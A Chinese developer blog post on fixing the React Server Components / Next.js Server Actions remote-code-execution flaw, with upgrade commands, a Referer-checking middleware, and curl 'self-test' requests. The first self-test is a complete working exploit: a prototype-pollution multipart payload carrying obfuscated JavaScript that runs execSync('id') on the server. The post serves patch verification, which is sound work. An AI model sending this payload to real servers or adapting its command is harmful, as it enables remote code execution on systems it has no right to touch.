React、Next安全漏洞问题修复和自测

官方漏洞

React 服务器组件中的关键安全漏洞

解决方案

通过升级版本和项目本身进行修复

根据官方要求升级库版本

下面列举nextjs的部分,更多参考官方文档

bash 复制代码
npm install next@14.2.35 // for 13.3.x, 13.4.x, 13.5.x, 14.x  
npm install next@15.0.7 // for 15.0.x  
npm install next@15.1.11 // for 15.1.x  
npm install next@15.2.8 // for 15.2.x  
npm install next@15.3.8 // for 15.3.x  
npm install next@15.4.10 // for 15.4.x  
npm install next@15.5.9 // for 15.5.x  
npm install next@16.0.10 // for 16.0.x

项目本身进行拦截

修改 next项目的 middleware.ts 文件进行拦截

ts 复制代码
import { NextRequest, NextResponse } from 'next/server';

// 验证 Referer 是否为合法来源(轻量级实现,避免创建 URL 对象)
function isValidReferer(referer: string, origin: string): boolean {
  // 直接使用字符串比较,避免创建 URL 对象带来的内存开销
  return referer.startsWith(origin) || referer.startsWith(`${origin}/`);
}


export default function middleware(request: NextRequest) {
    const { pathname } = request.nextUrl;
    
    // 先快速过滤静态资源和API请求,避免不必要的安全检查开销
    if (pathname.startsWith('/_next') || pathname.startsWith('/favicon.ico')) {
        return NextResponse.next();
    }

    // 安全检查: 防止 Next.js Server Actions RCE 漏洞
    // 只对带有 Next-Action 头的请求进行检查,避免影响正常页面请求性能
    const nextActionHeader = request.headers.get('Next-Action');
    if (nextActionHeader) {
        const contentType = request.headers.get('Content-Type');

        // 检查是否为异常的 multipart/form-data 请求(主要攻击向量)
        if (contentType?.includes('multipart/form-data')) {
            const referer = request.headers.get('Referer');

        // 验证 Referer 来源,防止跨站攻击(移除日志避免内存问题)
        if (!referer || !isValidReferer(referer, request.nextUrl.origin)) {
            return new NextResponse('Forbidden', { status: 403 });
          }
        }
    }
    
    // 后面继续执行业务逻辑
    ...
}

自测命令

注意:将其中的 localhost:3000 替换为自己本地地址

方法一:

bash 复制代码
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFnJiYNZt' -H $'Content-Length: 1158' \
    --data-binary $'------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"0\"\x0d\x0a\x0d\x0a{\x09\"a\":\"c\",\x0d\x0a  \"then\":\"$1:__proto__:then\",\x0d\x0a  \"status\":\"resolved_model\",\x0d\x0a  \"reason\":-1,\x0d\x0a  \"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\x0d\x0a  \"_response\":{\x0d\x0a    \"_prefix\":\"var _0x2adb=[\'\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\',\'\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\',\'\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\'];var _0x54ea=function(_0x2adb82,_0x54ea8e){_0x2adb82=_0x2adb82-0x0;var _0x1ed852=_0x2adb[_0x2adb82];return _0x1ed852;};var res=process[_0x54ea(\'0x1\')][\'require\'](_0x54ea(\'0x0\'))[\'execSync\'](\'id\')[_0x54ea(\'0x2\')]()[\'trim\']();var _0x3236=[\'assign\'];var _0x58c8=function(_0x3236f2,_0x58c8b7){_0x3236f2=_0x3236f2-0x0;var _0x22ddc4=_0x3236[_0x3236f2];return _0x22ddc4;};throw Object[_0x58c8(\'0x0\')](new Error(\'a\'),{\'digest\':\'\'+res});\",\x0d\x0a    \"_chunks\":\"$Q2\",\x0d\x0a    \"_formData\":{\"get\":\"$1:constructor:constructor\"}\x0d\x0a  }\x0d\x0a}\x0d\x0a\x0d\x0a------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"1\"\x0d\x0a\x0d\x0a\"$@0\"\x0d\x0a------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"2\"\x0d\x0a\x0d\x0a[]\x0d\x0a------WebKitFormBoundaryFnJiYNZt--' \
    $'http://localhost:3000/'

方法二:

bash 复制代码
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Connection: close' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4e746pA' -H $'Content-Length: 118' \
    --data-binary $'------WebKitFormBoundaryY4e746pA\x0d\x0aContent-Disposition: form-data; name=\"2\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryY4e746pA--\x0d\x0a\x0d\x0a' \
    $'http://localhost:3000/'
相关推荐
玫城5 小时前
[ VUE ] 封装通用数组校验组件,el-input内使用
前端·javascript·vue.js
南半球与北海道#9 小时前
前端打印(三联纸票据打印)
前端·vue.js·打印
董世昌419 小时前
深入浅出 JavaScript 常用事件:从原理到实战的全维度解析
前端
满栀58510 小时前
分页插件制作
开发语言·前端·javascript·jquery
qq_4061761410 小时前
深入剖析JavaScript原型与原型链:从底层机制到实战应用
开发语言·前端·javascript·原型模式
开开心心_Every10 小时前
免费窗口置顶小工具:支持多窗口置顶操作
服务器·前端·学习·macos·edge·powerpoint·phpstorm
闲蛋小超人笑嘻嘻11 小时前
Vue 插槽:从基础到进阶
前端·javascript·vue.js
梦65011 小时前
Vue2 与 Vue3 对比 + 核心差异
前端·vue.js
tiandyoin11 小时前
给 MHTML 添加滚动条.mhtml
前端·chrome·html·mhtml
遗憾随她而去.12 小时前
前端大文件上传(切片并发/断点续传/秒传/WebWorker 计算Hash) 含完整代码
前端